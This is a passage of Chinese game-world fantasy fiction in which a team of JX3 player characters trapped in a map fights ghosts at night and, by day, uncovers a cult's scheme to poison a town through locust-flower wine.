“果果果然对付鬼还是得看看看大师……”曲小蕨冻得说话都磕磕绊绊,但一句话还没说完,便看到那老人鬼两只外突上翻的白眼珠忽然转了回来,虽然没有瞳孔,但依然给人一种直勾勾的被注视感。下一秒,他张大了嘴,这一张嘴就能看到,他的舌头竟然被连根拔去了,仅剩黑洞洞的喉咙,怪不得一直在滴滴答答地流血。 老人鬼像是在无声嘶吼,随着他的动作,周围的温度竟然又降低了一点,这低温已经冻得人骨肉皮肤都在疼痛了。燃木虽然击中了他,却似乎并没有对他造成什么伤害,反而激怒了他,便看到老人鬼速度骤然加快,抬起手就扑过来,却是绕过了行守,直奔尹有攸。 眼看他惨白的手指将要碰到尹有攸,尹有攸却是身形一动,整个人如燕子掠水般向后远远地翻了出去——这便是丐帮的门派轻功烟雨行,落似细雨,起如烟埃,九州任行——然后收不住势,撞在镇外的空气墙上磕了一下脑袋。 逍遥,但是僵直max。 尹有攸捂着头爬起来,而行守已再次拦住老人鬼,旋身跃起,燃木自身后划出,刹那间金光一闪,半空中似有梵音炸响。 棍点急速状若雨,普渡四方! 那老人鬼被拦腰击中,身形立刻模糊了起来,双手竟然用力扒住自己的嘴,痛苦挣扎中竟然将下巴血淋淋地撕开了,从下颌到喉咙顿时一片血肉模糊,随后他转头看向行守,怨毒的目光中多了几分忌惮,再次绕过了他,飞速地扑向了他身后的曲小蕨! “越攻击它速度越快,先拉开距离!”付井仪喊道,曲小蕨早就召好了风蜈,听说能跑立刻影滞给大家套了个群体加速,唐逐星一步蹑云拉开距离后回身抬弩瞄准,又是一枚孔雀翎射出,给老人鬼挂了个聊胜于无的减速。 “控制在他身上的作用被削弱了。”行守跑在最后为众人压阵,回头看了一眼,说。 五人向镇子内跑去,远离了老人鬼之后,立刻能感到冻得僵硬的身体在逐渐回温。 这一队除了丐帮竟然没一个跑得快的,曲小蕨一边跑一边选奇穴,什么乱絮随风通通选上,捏着双化蝶,心里才放心了一些。但这小镇地形十分复杂,满地都是碎落的砖瓦和断裂的木梁,跑起来一脚深、一脚浅,踉踉跄跄,速度实在是提不上来。 行守又回头看了一眼老人鬼,心道不妙,这鬼甩不开,还是幽幽地飘在他们身后,距离甚至在越缩越短,这样跑下去迟早会被追上。 “我去引开他!”他喊道。 唐逐星还笑得出来:“引个锤子,那鬼看都不看你一眼。” “那你们跑远点,我去拦他一下。”行守从善如流,立刻变更说法。 曲小蕨叫道:“师父!” 行守以为她要说些注意安全的话,心里连声道千万别立flag,没想到曲小蕨朝他恶狠狠地喊:“锤死那个鬼!给他物理超度,送他去西天!” 那老人鬼本来气势汹汹地追了过来,结果半道上冷不丁忽然又挨了一棍。 持棍人单手竖掌立于胸前,周身似有金光环绕。老人鬼畏惧金光,不想靠近,一心去追前面四人,刚要绕过去,脑袋上又挨了一记棍击。 这棍来得极重,他的头一瞬间竟然被砸得凹了进去,但那颅腔里空空荡荡,犹如一张干瘪的面具,唯有被撕裂的嘴里源源不断地涌出鲜血,也不知是从哪流淌出来的。 行守这一击把自己也吓了一跳,他也没想到这老人鬼的头如此不经打,作为挥出这一棍的人更觉得有些渗得慌,连忙口诵佛号,说了句“罪过”,然后照着那凹陷处猛地又是全力一棍。 “卧槽。”曲小蕨远远地看着,喃喃道,“师父太狠了,都要给人家打成纸片人了。” “别说脏话。”付井仪说。 老人鬼终于被激怒,放弃追杀四人,转身就朝行守扑去,但与此同时,唐逐星已经鸟翔碧空挂了起来,一枚逐星箭打入老人鬼的身体之中。 老人鬼被推得一踉 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也就是在曲小蕨心里升起这个想法的同时,她忽然看到唐逐星猛地调转了面向,螭首千机竟然直直地指了过来,毫不犹豫地扣下了扳机! 一枚弩箭擦着她的头顶飞了过去,速度快得几乎要脱离人的动态视线,只能感觉到一阵劲风。与此同时,曲小蕨的余光里看到身边的尹有攸一手拉住付井仪,而自己的脖领也被用力一拽,眼前一花,就被带着冲了出去。 同一瞬间,她感到身后一凉,一股阴寒之气袭来,身体顿时僵硬了半边。 这一系列变故不过几秒,曲小蕨从地上爬起来,转头一看,他们之前站的那个位置竟然凭空又多了两只鬼! 看外形,这两只鬼是一男一女,皆作寻常农家打扮,但情态却和那老人鬼别无二致,都是一脸狰狞痛苦,嘴鼻流血,双脚悬空。唐逐星刚刚那枚孔雀翎是打入了男鬼身体,而女鬼已经朝他们扑了过来。 “快跑!” 两只鬼已经离开了千机匣的射程,唐逐星也顾不上管那老人鬼了,端着螭首千机就朝他们跑来。行守虽然有心过去,但实在是分身无术,况且那老人鬼已经被他们溜得狂性大发,只能一咬牙,试图尽快将他击杀了。 却说这镇子的布局实在是极为复杂,处处是坍塌的房屋和散落的瓦砾,有些大梁直接横倒在路上挡住去路,根本跑不快。付井仪打了个手势,示意分开后在前方汇合,三人各自选了个方向,便冲了出去。 曲小蕨跑了一段路停下,回头发现身后空空荡荡,那两只鬼都去追尹有攸与付井仪了。 荒魂镇大得离谱,她跑了这一段路,已经完全看不到其他人。四周静得吓人,只有夜枭偶尔发出一两声长而凄厉的啼鸣,再就是洋洋洒洒的纸钱飘下来时发出的簌簌声。 曲小蕨心里直打小鼓。她胆子一向不算小,但现在身边没人,在这样一个环境里难免忐忑不安,但一想到队友们还在被鬼追,她咬咬牙,又放出风蜈,向前飞快跑去。 这荒魂镇遍地残破屋宇和无主坟茔,四面八方都是一个样子,而月正中天,四周的一切都昏惨惨的,曲小蕨也不知道自己跑的是不是直线,只能依着直觉前进。就这样赶了一段路后,她突然眼前一亮,隐隐听到了湍急流水的声音。白天在红河渡时尹有攸就说过镇中有河,看来她没跑错方向。 越过前面一排破烂的老房子,她已经远远看到了河堤的轮廓,心里一喜,再度提速。但路过拐角处一面断墙时,她突然心头一凛,一种危险感直冲大脑,想也不想便直接化蝶! 蝶影蹁跹,曲小蕨整个人已是消失在半空,几秒后才在拐角后现出身形,踉跄几步落到地面。 她低头看自己发冷发麻的小腿,上面赫然落下了一个残缺不全的黑色手掌印。 看那大小,竟然属于一个婴儿。 再看那断墙拐角处,一只惨白的小手缓缓地伸了出来,紧接着是一张同样惨白的小脸,一个婴儿从墙后慢慢地爬了出来,他的眼睛也是翻白的,眼下两道血痕,没有舌头的小嘴大张,似乎在无声地嚎哭着,鲜血不断地从嘴里涌出。 曲小蕨看得浑身发冷,明明是和其他鬼一样的情态,换到了婴儿的身上,在那惨淡月光的照耀下,竟然如此可怖。 不过是停下脚步回头看了一眼,那婴儿就已经迅速朝曲小蕨爬了过来,动作和正常小婴儿比起来快得吓人。 在这诡异的一幕面前,她的脑子里首先闪过的竟然是一个笑话,有人做数学题时算出来的答案是老奶奶以每小时480千米的速度前进…… 荒魂镇这里目前还没看见老奶奶,倒是有闪电老头和极速小娃娃。 曲小蕨被自己想到的这个梗逗得有点想笑,赶紧甩了甩头,这可不是开玩笑的时候。但最开始那种猝不及防的恐惧已经烟消云散了,她不再搭理那个鬼婴,跺了跺有点发麻的右腿,继续往前面跑去。 一路上,她注意到,头顶的月亮也在逐渐西沉,那速度甚至是肉眼可见的。看来这张地图的黑夜与白天一样流速很快,再过一会儿,大概就又要天亮了。 这么想着,曲小蕨已经跑到了河边。白天在镇子里的时候她没见过这条河,不知道它有没有变样,反正现在看来它出奇地宽阔,可以想象依这条河两岸而建的红河渡、或者说荒魂镇,占地面积究竟有多大。这河两岸的河堤很高,但河水却不算深,只是那水不知是因为夜色还是别的什么原因,看着黑漆漆的,让人有一种不好的感觉。 忽然,在曲小蕨的注视中,那河面竟然缓缓地结起了一层薄冰,而冰层蔓延的速度很快,直直朝着她的方向来了。 温度降低就代表鬼在接近,她凝神细听,果然听到了由远至近的脚步声。鬼是没有脚步声的,这声音只可能是她的队友。曲小蕨还没来得及开心,又想起自己屁股后面还紧跟着一只鬼婴,这要是给前后夹击了,那不得坑死。 她气沉丹田,大吼一声:“别往这跑这里也有鬼——” 片刻之后,河对岸传来一声:“没关系你自己小心——” 是师父,那没事了,估计是他追着鬼跑。 曲小蕨犹豫了一秒,是把鬼婴带过去让它感受一下佛光普照呢,还是继续跟它玩躲猫猫。想了想这鬼婴底盘太低,万一咬到师父脚后跟那真是防不胜防,她于是换了个方向把鬼婴带离河堤,一边跑一边东张西望,试图找到其他人的身影。 这荒魂镇真的大得离谱,地形又复杂,她有风蜈的加速,但还是渐渐有点累了,好在此时东方微明,她回头一看,鬼婴的速度也渐渐变慢,好像是惧怕着光线一样。 这倒是跟湘竹溪的那些尸人有些相似。 借着这熹微的曙光,曲小蕨挂了个扶摇,找到一座还没有完全坍塌的老房子,跳上房顶,四处远眺,果然被她发现了目标。就在她斜前方,有一处看起来格外破旧的废墟,付井仪正站在大门都塌完了的院子里,对着一棵枯死的老槐树发呆。 “付——井——仪——” 视野越来越清晰,显然马上就要天亮了。先前追她的那只鬼婴已经不知道跑去了哪里,曲小蕨双手合拢罩在嘴边大喊,声音震得路边歪倒的房梁簌簌落灰,但付井仪就跟没听到一样,依旧背对着她。 曲小蕨跳下房顶,朝付井仪跑去。他们之间就隔着一面烂了个大洞的墙,她懒得绕路,打算直接从洞里钻过去。 就在跑到墙边的时候,透过大洞,她忽然发现,付井仪在看的似乎并不是那棵枯死的老槐树,而是树下的一块破布。那破布就跟刚出土一样脏污不堪,说不定就是从土里刨出来的,但应该是被简单地清理过了,能看出来它是一面酒旗,也就是酒家招徕顾客的旗帜。 还没等她再看清楚些,曲小蕨眼前白光一晃,猛地撞上了一堵坚硬的墙! 这下真是磕得她头晕眼花,倒退两步一下子坐在地上,眼泪都要流出来了。好不容易等那阵晕过去,耳边就听到有人惊讶地说:“哎呀这小女娃,怎么面前好大的墙愣往上撞呢。” 曲小蕨捂着头爬起来一看,天已经大亮了。眼前哪还有什么荒村废墟,分明街道纵横,房舍齐整,一派平和宁静的小镇模样。那堵烂了个大洞的墙也完好无损,她刚刚就是准备钻过去的时候一头撞在了上面。 这是条不宽的小巷子,来往的镇民有点担忧地问:“小丫头,没事吧?撞这一下可不轻。” “没事没事,谢谢啦。”曲小蕨摆摆手。 她的视野重新被这些屋宇园宅挡住,也看不见付井仪了,当下掉头往街道上走去,准备绕路过去,刚出巷子,就看见不远处一个镇民正快跑几步,一把拽住一个人的手臂。 曲小蕨定睛一看,巧了,看那背影,被抓住的不正是尹有攸么。 那镇民作商贾打扮,拽着尹有攸就是一通抱怨。 “哪有你这样做事的!我好好的一个鸡笼在街边放着,就让你不知道从哪跳出来给踩烂了!我这母鸡吓得都不下蛋了!” 那个摊主是个大嗓门,曲小蕨隔得老远就听着了,忍不住笑出声来,想必尹有攸也是在昼夜之交的时候反应不及,一脚踩在了刷新出来的鸡笼上,这才真是无妄之灾。 尹有攸老实巴交地给摊主道歉:“抱歉,我没注意。” “这么大一个鸡笼你都看不见?你是瞎么?” 那摊主声音很大,嚷嚷得周围的人都纷纷看了过来。也是巧了,唐逐星也混在人流之中,此时便分开看热闹的人走过来,一拍尹有攸肩膀,把他转了个圈面对着镇民,笑道:“哎,大哥,你怎么知道我这弟弟是个瞎子的,你看看,这不是绑着根黑布条么。他就这样,也不是故意的,我在这儿替他给你赔个不是了。” 摊主:“……” 尹有攸:“没有,我不是瞎……” 唐逐星:“这孩子打小自尊心就强,不愿意人家说他瞎,天天在外边装着正常人溜达,唉,也是我一个没看住,实在是对不住了。你是哪只母鸡不下蛋啊,我买了吧……哎哟,这怎么全是公鸡和小鸡啊,没事儿大哥,公鸡我们也买了。” 摊主:“……” 尹有攸:“等等,我们没钱……” 唐逐星:“哎,主要是家里为了给他看这眼疾穷得很,这孩子这辈子还没尝过鸡肉是什么味,正好今天给大哥你道个歉,我俩一咬牙,卖身也得给您把这损失补回来,我们穷点累点苦点不要紧,不能让大哥你白白蒙受了损失不是。” 曲小蕨好不容易挤过去的时候,便看到那摊主在周围镇民的议论声中咬着牙梗着脖子从鸡笼里提溜出一只月份不大的小公鸡,麻利地倒转绑了双爪递给尹有攸:“拿着!大哥今天请你吃!” 摊主面红耳赤地说完,便自收拾摊子,提着鸡笼走了,边走边时不时叹息一声、跺两下脚,而尹有攸莫名其妙手里被塞了只鸡,不知所措。 “你可真狠。”围观人群散去,曲小蕨凑到他俩身边,摇了摇头,“我真怕这人半夜想起来这事儿都睡不着。” 唐逐星戏瘾过了,又换上一副无所谓的淡漠神情,挑了挑眉:“提着一笼子几个月的小鸡也敢说是下蛋母鸡,睡不着也是他活该。” 他们说着话往前走去,便看到付井仪和行守站在前面路口,似乎是等了他们一会儿了,看来昨晚那些鬼虽然来得莫名其妙,但也挺好应付,大家都没什么事。 再看他们身后的小院,却赫然是一座灵堂,屋檐上扯了白花白绸子,门槛下泡着艾草水。这灵堂显然是临时仓促搭起来的,因为那小院原来的东西都还没搬走,院里一株槐树,随着风簌簌落下雪白的槐花,一杆旗竖在门前,上面四个字:王记酒家。 14. 第三天·荒魂镇(十四) 众人会面,先取出香篆钟确定了时间。王家再没有身后人了,灵堂是里正、也就是他们入镇时看到的那位老者带着人草草搭建起来的。仵作还在调查这一家四口的死因,拦住众人不让进里屋,于是他们干脆就在外院将分散之后的经历各自讲了讲。 他们这一队有个很明显的特征,但凡聚在一起就不爱再动脑子了,大家轮流发言完毕之后,很有默契地把目光投向付井仪,等他做总结。 付井仪也是习惯了,直接就说:“有三个需要特别注意的问题。第一,时间。这个地图的白天和黑夜时长大约都是两个小时,一天是四个小时,相邻的两天在时空上是接续的。不确定这个时间后续会不会有变动,但如果用这个规律来计算的话,我们会在这里度过至少六天,按照进入这张地图的时间,我们应该会在第七天的早上离开。 第二,战斗机制。这里的红名NPC是鬼魂,种类比游戏里的要丰富,可控不可打,少林这个职业除外。现在看来白天应该属于安全时段,第三天的难度不可能一直像昨晚那么轻松,我们需要在这两个小时的安全时段里找到正确的战斗机制。 第三,白天和黑夜的联系,或者说红河渡和荒魂镇的联系。不知道你们还记不记得,上一个白天时王老汉一家四口莫名身亡,而加上曲小蕨遇到的鬼婴,我们在荒魂镇中遇到的鬼正好也是四只。我已经做过确认,死去的王老汉一家就是王记酒家的主人,家中除王老汉还有一对夫妇与一个不足周岁的孩子,而我在荒魂镇中也找到了王记酒家的酒旗。姑且可以认为,白天在红河渡死去的镇民,晚上就会变成荒魂镇的鬼,原因不明。至于两个小镇的关系,有很多种可能的推测,目前我个人倾向于两个镇子可能互为阴阳两面,或者荒魂镇就是多年之后的红河渡,进一步说,甚至可能是我们都比较熟悉的江津村。当然,还存在着很多不能解释的问题,但目前对这张图的了解度不够,没有办法再进行分析了。” 队友们都已经习惯了他的说话方式,自有一套总结办法,曲小蕨踊跃参与发言:“反正就是,第一,想办法安全活到第七天;第二,想办法打鬼,第三……嗯,之后再说吧。” “好说,我找个高点的地方去记一下这个镇的地形。”唐逐星道,“快到晚上了就回这边集合。” “我研究一下我的技能和武器吧。”行守说。 尹有攸指了指屋内仵作忙碌的身影:“我去听。” 还没走远的唐逐星回头提醒:“把你手里的鸡放外面。” 眼看大家都有事做,曲小蕨急了:“快,我做什么!” “你想干什么?”付井仪反问她。 这小姑娘年纪确实不大,是用家人的证注册的账号。他们几个都没有和这个年纪的女孩儿相处的经验,好在曲小蕨自己性格很好,人也机灵,最可贵的是精神特别坚韧。 但有一点不太行:凡事太爱征求别人的意见了。 其实她自己拿主意是很快的,但和他们在一起太容易产生依赖性。曲小蕨对他们几个人来说是实打实的小孩子,付井仪也知道,不应该对一个小孩子要求太高,但这毕竟不是现实,假如某一天、甚至就是今天,他们队减员了,他、行守或者唐逐星,能指挥她的人都不在了,那时候曲小蕨又该怎么办呢? “我……我看着办吧。” 曲小蕨是个鬼灵精,看付井仪的脸色严肃,感觉再问不妙。 一朵槐花晃晃悠悠,落了下来,正落到她鼻尖,一缕甜丝丝的味道涌了过来。曲小蕨拿下那朵槐花,将它放到槐树的树根。这棵槐树看起来年岁不大,枝繁叶茂,雪白的槐花一串串沉甸甸开得很好,很难把它和昨夜荒魂镇那棵张牙舞爪的枯死老槐联系起来。 其实人也一样,一想到昨夜追他们的四个鬼竟然就是这横死的一家四口,曲小蕨心里也说不出的难受,尤其是回忆起那个鬼婴,那可是个才不到一岁的小孩子。 她一边想东想西,一边惦记着去帮帮师父的忙,这一打眼,忽然看到槐树树根的泥土颜色不对,看起来湿漉漉的。 曲小蕨蹲下来,拿出张手帕,包了点泥土,放在眼前细细看起来。 作为一个五毒,她被加强的天赋是制药。 她轻轻嗅了嗅,在槐花的清香中,嗅到了一丝酒味。 王家人死得蹊跷,不少镇民和他们一样,挤在外院交头接耳。曲小蕨随便拉住一个看起来慈眉善目的妇人:“姐姐,这家酿的是什么酒呀。” “哦,你是昨天来镇上的那个小丫头吧。”那妇人叹了口气,“他家酿的就是槐花酒,做了二十多年了,人也不错,不知道怎么就摊上这种事了……” “他们的槐花酒很有名气吗?”曲小蕨追问。 “这么说吧,我们镇上还不会走路的小娃娃怕是都尝过他家的酒。”妇人说起来,面露哀伤,“谁家里没放着几坛呢?这真是……唉……” 听她这么说,曲小蕨心里就是一凉。 她急忙问:“姐姐,这镇上哪里有药铺啊?” 得到地址后,曲小蕨拔腿就跑,也就一条巷子的距离。 这镇上药铺还挺大,没什么人光顾,药师趴在桌上打瞌睡。好歹也是五毒弟子,曲小蕨毫不客气地把他一笛子抽晕了,让他睡得更香一些。 她直奔存放药材的百子柜,在几个斗子里各取出一点药草和石粉,磨碎了混在一起,嗅了嗅,又添了几味药,转头跑回酒家。尹有攸还站在墙根当人形录音机,被她一把薅住:“快!给我搞坛他们家的槐花酒来!” 沽酒这事儿还是得看丐帮,也不知道他是怎么搞的,竟然真就找到了王记的酒窖。两人避开前院的镇民,提了两坛酒出来,曲小蕨把她磨好的药粉加进去,抱着坛子就咕咚咕咚地灌起来! 她的动作却把尹有攸吓了一跳,劈手夺过酒坛:“未成年人不能饮酒!” 曲小蕨咂咂嘴,抬手就是一个蝶魅化蝶,出来之后晕乎乎差点撞在墙上,还好被尹有攸眼疾手快一把拽了回来。 “不能驱,不算毒……”她摇摇昏昏沉沉的头,脑海里尚有一丝清明,气得咬牙切齿,“真狠呐!” 她一把抓住尹有攸:“付井仪去哪了?快去找他!要出大事!” 尹有攸带着走路都打弯儿的曲小蕨找到付井仪时,他正在一座小楼前与里正交谈。 那里正一脸苦笑,捋着胡子:“我们这红河渡虽有百户,不过一里*,哪有什么像样的府衙,连那几个验尸的仵作都是连夜从乡里请来的。不过你要说地方志那还是有的,就存在这书阁之中,只是关系到田地户口与催纳课税,却是不能给外人看的。” 付井仪道了声谢,和里正作别,回身就看到两个队友狂奔而来。 “我知道那一家四口是怎么死的了!”曲小蕨拽住他,气还没喘匀就急道,“是槐花酒的问题!” 付井仪看她气喘吁吁、小脸涨得通红,便先找了个凉棚坐下,让她慢慢说。曲小蕨虽然喝了点酒,但好在度数不高,翻来覆去,总算是把这件事讲明了。 原来,让一家四口暴毙的元凶就是那槐花酒。这个年代的人酿酒要加杜仲川穹黄岑等中药调和,俗称“酒药”,各酒配方不同、原料不同,酒药也自不相同。槐花酒以槐花为原料,本来没什么特别,坏就坏在王家院子里这棵新槐的槐花槐实与王家用了多年的酒药药性相冲,便催生出毒素来,而王家又习惯用酒醪去浇灌槐树,这样一来二去,毒性更重。 “其实可以简单理解成重金属中毒那样,它是可以由口鼻吸入的,所以小孩儿天天在那个环境中,也会遭殃。”曲小蕨恨恨道,“说它是毒也不尽然,这种东西对我们完全没有影响,因为我们的游戏角色设定就是习武修行之人,但对于普通人来说,这东西会暗自冲撞撕裂他们的奇经八脉,直到身体不能承受,就暴毙而亡……” “本来王家院里的是一棵十多年的老槐树,但去年有一伙‘云游方士’来到镇上,要他们砍了那棵老树。”尹有攸也说起他从仵作那儿听来的消息,“那伙人称,槐生木鬼,老而成精,很不吉利,就哄得王家砍了原来的那棵树,移栽了这伙人带来的新树。” “哪有算命的会带着棵树到处跑啊!”曲小蕨怒道,“这分明就是早有预谋,要这镇上所有人的命!我问过了,这镇上家家常饮槐花酒,现在又是槐花盛开的季节,毒性一催发,他们……他们……” 曲小蕨一句话还没说完,便听到远处街道一阵尖叫和骚乱,不少镇民抛下手中的活计,冲了过去。 “又有人死了。” 说话的却是唐逐星,从凉棚顶上跳下来,轻巧落地,“这次死的是个男人,年龄大概在40到50岁之间,听那些镇民所说,这人平常就是个嗜酒如命之人。” “曲小蕨,依你看,这些镇民还能救吗?”付井仪脸色依然很平静,问。 “救不了,我特地配了相同的方子,加进酒里试了试。”曲小蕨咬牙道,“这药性累积极快,要是十天半个月的还有救,现在已经一年了,曲云和陈月来了都救不了了。槐花的花期就在十天左右,过几天,这里可能就会变成……变成一座死镇。” 她这句话一说出来,凉棚里顿时陷入了沉默,只有唐逐星用方言极快地骂了一句谁也听不太懂的话。清风送来阵阵甜蜜的槐花香气,谁又想得到,这香气正是整个小镇的催命符。 看他们都不吭声了,付井仪叹了口气:“那我来说一下我打听到的消息。” “一年前的昨天,有一群自称是云游方士的人来到红河渡,其中多为女子。她们施药解灾,卜算精准,非常迅速地取得了镇民们的信任。其中领头之人将一尊被红布遮盖的神像交给里正供奉,说是可以保一方平安、五谷丰登,但需在一年之后、槐花盛开之日,才能揭下红布——这也是昨日镇上办流水席的原因,和里正口中的‘喜事’。但揭开红布之后,那神像却身缠蜥蜴、形容可怖,恰逢王家血案发生,里正觉得它极为不祥,又怕贸然焚烧会惹来祸端,就将它用红布重新裹起来,挖了个坑埋起来了。” “女子?是红衣教吧。”唐逐星道。 付井仪点点头,又说:“我跟里正说,我们离开镇子时可以代为处理那尊神像,请他将神像交给我们,里正已经去取了。” 就在他们说话的这个工夫,就在他们这条巷子的尽头又响起了尖叫声,镇民们面带惊惶,惴惴不安,不知道究竟是怎么回事。 尹有攸侧耳细听,说:“两个人死了,是刚刚那个人的酒友。” 不过几句话的时间,他们今晚就要面对七只鬼的追杀了。 “已经快过一个小时了。”付井仪看了一眼香篆钟。 “行守回来了。”唐逐星眼神好,便看到行守匆匆走过来。 坏事接二连三,好在行守带回来一个新发现。 他将燃木放在桌上,这是一根乌沉古木制成的金刚棍,外形上看并不太像禅杖,连游戏里这把橙武的介绍都和少林关系不大。行守指了指金刚棍顶部,那里有一段弯曲进去的弧度:“这底下刻了一行图案,非常小,我向镇民借了纸笔,摸索着把它画出来了。” 那纸上歪歪扭扭地画着一串奇怪符号,但众人看了,都感觉说不出的眼熟,似乎曾经见到过,于是又都看向付井仪。 付井仪伸出手,把那张纸倒了过来。 “……”行守道,“不好意思。” 上下一颠倒,那行符号就更眼熟了,唐逐星说:“这好像是梵语吧?” “是梵语。”行守说,“我从来不懂梵语,但不知道为什么,这么一看,突然好像知道它是什么了……这好像是六字大明咒啊。” 付井仪若有所思:“六字大明咒,又叫观世音菩萨心咒,汉字是唵、嘛、呢、叭、咪、吽。” 他一字一顿,完全是用普通话读出来的,行守立刻便觉得浑身别扭,忍不住纠正道:“发音是这样的:o?-ma-?i- pad-me-hong。” 虽然大家或多或少都看过影视剧里的僧人念经,但对六字大明咒的发音却只有模糊的印象,完全无法像行守这样毫不含糊地念出来。这话一出,众人立刻有些惊异地望着他,行守自己也是一愣:“不对,我怎么知道的?” “师父。”曲小蕨说,“你现实中不会真的是个和尚吧!” “……虽然家里有长辈信,但我本人肯定不是。”行守说,看向付井仪,“这就是你上次说的那件事吧,我们会越来越贴近游戏角色的设定。” 付井仪点了点头,又看了一眼香篆钟。 “我们还有不到一个小时,其余的事没时间再说了,当务之急,是要安全度过今晚。”他说,“既然燃木上刻有这行字,那么我们不妨试试将这行字也誊写在各自的武器上,六字大明咒号称可以祛除邪魅、寂灭损害、净化业障,也许对鬼会起作用。” 听到能打鬼,众人就是精神一震,都各自忙碌起来。唐逐星去了一趟药铺,按付井仪的要求取了些朱砂和白酒,连同药臼一起零元购了,将朱砂混合白酒磨成墨,以在他们的武器上写下六字大明咒。 这几个字笔墨不多,几个人试了试,明明落笔是对的,写出来的东西却歪七斜扭,一看就不靠谱,除了行守,也只有付井仪勉强能写对。但写咒似乎极其耗费心神,行守是写完就要停一会儿休息一下,付井仪则半天才能落下一笔。 “好像打附魔啊。”唐逐星不禁道。在场的数他最麻烦,每支打伤害的箭镞上都得写一遍。 轮到曲小蕨,她紧张兮兮,生怕朱砂会对她的天蛛玉蟾产生伤害,好在宝宝们接受良好,行守将字直接写在它们身上,也没什么排斥反应。 写着写着,天就开始泛昏泛黄,剩余的时间不多了。因为这张地图的时间流速异常,所以往后几“天”,他们可能都没有连贯的休息机会,故众人抓紧时间闭目养神。 曲小蕨打了个瞌睡,再睁眼时,恰好看到凉棚老板从茶馆里出来,给他们掌了盏灯。 老板是个看起来很温和的中年人,也没把这群没钱买茶还要占位置睡觉的人轰出去,点了灯便回屋了。 唐逐星抱臂闭目倚在桌边,尹有攸趴在桌上,看起来都还在睡,而行守和付井仪还在埋首给弩箭“打附魔”,毕竟多打一支,就多一支的伤害。 “付井仪。”曲小蕨看着,忍不住小声问他,“能不能想个法子,救救这些镇民啊。” 付井仪停下笔,揉了揉眉心,露出些疲惫的神色。 “镇民死后都会变成鬼,如果现在有办法能救下他们,肯定是要救的,但你没有办法,我也没有。”他轻轻叹了口气,“你要是心里难过,就把他们当成数据,不要因为一时心软影响了自己的安危。” “……”曲小蕨闷闷的,把脸埋在手臂里。 撞了头会问你疼不疼,天色暗了会给你点灯,就算是当成数据,也很难接受啊。 看看时间差不多了,行守率先放下笔。 今晚要面对七只鬼,是实打实的一场硬仗,鬼的数量变多,意味着他们将更难躲避。 补觉的两个人也爬了起来,唐逐星一边揉手腕一边从怀里掏出五张手绘小地图来分给大家。 “之前在房顶上画的。我看过了,地形是一致的,但是荒魂镇太过破败,几乎没法分辨方向,所以还是尽量不要依赖地图。说实话,我甚至不建议你们看这个,因为前后左右都分不清的时候,不如直接顺着河道跑。” 付井仪展开那地图看了一眼,穿过镇子的长河是一条南北走向的纵贯河流,而红河渡的两边布局非常对称,如果不在河流附近,的确很难分辨方向。 他看着,忽然目光一凝,落在那地图的一个点上,唐逐星在那旁边写了个“庙”字。 “糟糕。”看到那个字,付井仪想起一件事来,心里便是一沉。 他很少这么说话,几个人顿时如临大敌,行守连忙问:“出什么事了?” “不应当让里正一人去拿那尊神像。”付井仪站起来,少见地露出了懊恼的神情,“天都要黑了,他却没回来——” 也就是在这个时候,众人眼前一黑,行人屋舍街道统统化为乌有,天上落起了片片纸钱。 天黑了。 鬼没有立刻出现,他们站在原地警惕四周,唐逐星安慰付井仪道:“说不定是他老了走得慢,腿脚不方便。” 付井仪一抿唇,微微点了点头:“我从里正的话里,听他的意思,似乎是将神像就近藏在庙宇附近了,那一个来回对老人家来说确实距离不短。” 话是这么说,但其实大家心里都明白,出现这种NPC一去不回的套路准没好事。 “那神像一定是一件重要的任务物品,甚至很可能关系到我们能否安全度过第三天。”付井仪叹道,“既然是红衣教带来的,那它大概率就是一尊阿里曼圣像了。红衣教向来主张以拒绝皈依者的生命供养邪神,这一镇人的性命,恐怕只被她们视作祭品而已。” 祭品。曲小蕨听着心里难受,但又无话可说。 呼…… 一阵冷风吹来,阴寒的感觉慢慢蔓延上每个人的心头。唐逐星一挑眉:“来了。” 黑暗中缓缓浮现的,正是森森鬼影。 当先飘出来的,还是那个老人鬼。只见他甚至还和昨晚一样,维持着头被敲扁的可怖模样,但一想到这人就是王记酒家的无辜掌柜,昨天白天还是活生生的人,这鬼给人的感觉立时就复杂了起来。 行守更是难受,毕竟是他把人家敲成纸片人的:“……真是造孽啊。” “造孽的是红衣教,不是你。”话一直不多的尹有攸忽然说,“把他打死,也免得他一直这副鬼模样。” 丐帮话糙理不糙,一时间竟然很让人信服。 “这些鬼不是同时刷新的。”付井仪道,“先打这一只,看看能不能……超度他。” “我先试试‘附魔’管不管用。”唐逐星立刻说。他向螭首千机中装了一枚写过六字大明咒的弩箭,对准老人鬼扣动扳机。弩箭携罡风疾射而去,没入了老人鬼的身体,却没有像昨夜那样穿透它,而是出现了明显的阻碍感。 打中了! 那老人鬼昨晚被行守暴揍一顿,身形已经十分虚幻了,又挨了一镖,更透明起来。 “成了!”唐逐星将弩一抬,“这些鬼是可以用‘附魔’武器打死的,就是要灌伤害!” 老人鬼并不给他们留太多交流时间,吃到伤害后更加暴怒,无声地嘶吼着就扑了上来,众人各自散开,曲小蕨手里握着太上忘情还在犹豫,便看到尹有攸已经一闪身,写着六字大明咒的双手在她面前一晃,已经向老人鬼凌厉拍去。 他出掌刚猛无比,劲风烈烈,恍然如有龙吟之声,一瞬之间连击三掌,正是丐帮威力最强的一式掌法,亢龙有悔。在众人的注视中,那老人鬼痛苦的表情一滞,竟是直接身形消散,化作了飞灰。 在场诸位无不在竞技场里翻滚过,看到这一幕,都默默地扭过了头。 谢邀,听到这巴掌声就浑身不舒服。 “技能的伤害要高出平A太多,也许阳性和刚性功法对鬼魂有额外的伤害加成。但清理鬼魂肯定不是最安全的通关方法。”付井仪在心里思索。虽然在逐渐向着游戏角色靠拢了,但玩家毕竟还是人,当然不能无限制地释放技能,蓝条,或者说内力就是首当其冲的问题;丐帮倒不受内力制约,但人的体力也是有限的。 红河渡有两千多个镇民…… 他正想着,忽然心头一凛,转身的同时已经按上青玉流琴弦,铮铮两声,琴音化作一道寒锋向身后迸出。 被打中的是一只女鬼,她一直悄无声息地在废墟的阴影中接近他们,但鬼魂特有的阴冷气息不可避免地被察觉到了。 唐逐星笑道:“昨天被追了一夜,今天也该轮到我们还手了。” 他也不再多话,架起千机弩,瞄准那女鬼,螭首千机的机扩喀喀作响,弩首火光一闪,甚至来不及看清弩箭发射的轨迹,就看到女鬼心口已被击中。 黄泉碧落,追命无回! 追命箭的威力何其巨大,那女鬼的身形顿时飘忽了一瞬,但很快又稳定下来,满脸痛苦地扑了过来。 “注意你的神机值。”付井仪提醒。 